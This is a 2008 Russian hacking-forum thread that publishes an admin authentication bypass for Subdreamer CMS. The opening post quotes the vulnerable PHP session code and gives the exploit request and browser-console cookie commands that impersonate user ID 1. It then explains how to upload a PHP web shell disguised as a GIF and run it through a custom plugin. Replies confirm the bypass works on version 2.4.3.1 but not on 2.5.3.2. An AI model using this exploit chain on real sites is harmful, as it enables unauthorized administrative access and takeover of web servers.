ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Subdreamer CMS Admin Bypass
  #1  
Старый 06.07.2008, 19:05
Аватар для Евгений Минаев
Евгений Минаев
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме:
1214722

Репутация: 676
По умолчанию Subdreamer CMS Admin Bypass

Определение, является ли зашедший юзер админом происходит в файле admin/authenticate.php, для этого берется сессия и получаются такие важные параметры из базы, как например права админа.

Получение сессии
PHP код:
if(!empty($_POST['s']))
  {
    
$sessionid $_POST['s'];
  }
  else if(!empty(
$_GET['s']))
  {
    
$sessionid $_GET['s'];
  }
  else
  {
    
$sessionid = isset($_COOKIE[COOKIE_PREFIX 'sessionid']) ? $_COOKIE[COOKIE_PREFIX 'sessionid'] : '';
  } 
Выборка информации о пользователе

PHP код:
if(!empty($sessionid))
  {
    
$sql "SELECT * FROM " TABLE_PREFIX "sessions
                               WHERE sessionid    = '
$sessionid'
                               AND   ipaddress    = '" 
USERIP "'
                               AND   lastactivity > " 
. (TIMENOW $mainsettings['admincookietimeout']) . "
                               AND   useragent    = '" 
addslashes(USERAGENT) . "'
                               AND   admin = 1
                               LIMIT 1"
;

    
$session $DB->query_first($sql);
  } 
Если включены register_globals, мы можем сами определить значения массива $sessions, которая по коду должна получаться в $sessionid. Для этого в cookies глянем идентификатор нашей сессии и сделаем запрос вида, где session[sessionid] наша сессия и session[userid] номер пользователя с администраторскими правами в базе, по дефолту 1.

Цитата:
http://localhost/upload/admin/index.php?session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f&session[userid]=1
Зайдя по сгенерированной ссылке мы на пару мгновений увидим администраторскую панель, затем нас обламают . Суть в том, что файл проверки инклюдится в каждый файл панели, те нам надо каждый раз его обманывать.

Цитата:
Cookies: session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1
>>> document.cookie='session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1';
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f"
>>> document.cookie='session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1';
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f"
>>> document.cookie='session[userid]=1';
"session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1"
То есть чтобы зайти в админ панель, достаточно даже гостевых прав. Сама админка распологает средствами бекапа баз данных. Шелл заливается через смайлы с любым расширенем картинки, затем просто переименовывается в .php. Так-то!

UPDATE: шелл заливается так - заливается gif картинка с шеллом, затем создается custom plugin и в поле Include File вписываем имя нашего залитого файла, например images/sh.php.gif. Затем идем в All Categories, выбираем любую и добавляем наш плагин к ней (Change Plugins). С заходом на отредактированную страницу увидем наш шелл


Последний раз редактировалось Евгений Минаев; 06.07.2008 в 20:02..
 
Ответить с цитированием

  #2  
Старый 06.07.2008, 21:35
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Ты бы версию написал что-ли
Пробовал на Subdreamer v2.5.3.2 Pro на локалхосте не вышло!

При авторизации из админки у тебя создаётся ещё одна сессия , в куках одна гостевая , и одна админская с разными идентификаторами.
Думаю потом аутентификация идёт по админской сессии.Никакого userid в куках нет.

При авторизации с индекса сессия остаётся та-же,в куках фигурирует userid, но после входа в куках 3 параметра сессия,userid и хеш пароля.Аутентификация видимо по хешу.Код пока не смотрел ,но твой запрос и сдесь не проходит .При переходе в админпанель-повторная авторизация.

Скорее всего поправили багу, или я что-то не понял.
Пойду смотреть код
 
Ответить с цитированием

  #3  
Старый 06.07.2008, 22:54
Аватар для Евгений Минаев
Евгений Минаев
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме:
1214722

Репутация: 676
По умолчанию

Если бы ты читал внимательней, то наверное понял меня лучше. О userid в куках я не говорил. Если ты об этом, то это просто способ определения глобальной переменной
Цитата:
Cookies: session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1
Также, если ты обратишь внимание на код, то никаких админских сессий нет.

Цитата:
Component Your Version Latest Version
Subdreamer CMS 2.4.3.1 2.4.3.1
Цитата:
При переходе в админпанель-повторная авторизация.
Надо верно выставить куки. На все твои вопросы я уже ответил в первом посте, надо читать внимательно, а не между строк. Единственное - с версией промахнулся, качал с торрентов.

Видео демонстрация http://underwater.itdefence.ru/subdreamer.rar

Последний раз редактировалось Евгений Минаев; 06.07.2008 в 23:24..
 
Ответить с цитированием

  #4  
Старый 07.07.2008, 02:14
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Я читал внимательно,понял тебя и не спорю с тобой.

За видео спасибо, очень интересно.

Специально скачал версию 2.4.3.1, всё работает,НО в версии 2.5.3.2 не пашет!!!

Сейчас в разбираться времени нет, но файл authenticate.php переписан это точно
Если желание есть посмотреть самому ,могу залить куда нибудь версию 2.5.3.2
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
CMS vs "изготовление на коленках" vadim_samoilov Чужие Статьи 8 19.08.2008 02:10
Помогите выбрать между тремя двигами. Cawabunga ПО для Web разработчика 5 29.03.2008 10:44
Kasseler CMS 1.0.0 Lite vadim399 PHP, PERL, MySQL, JavaScript 1 31.12.2007 03:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ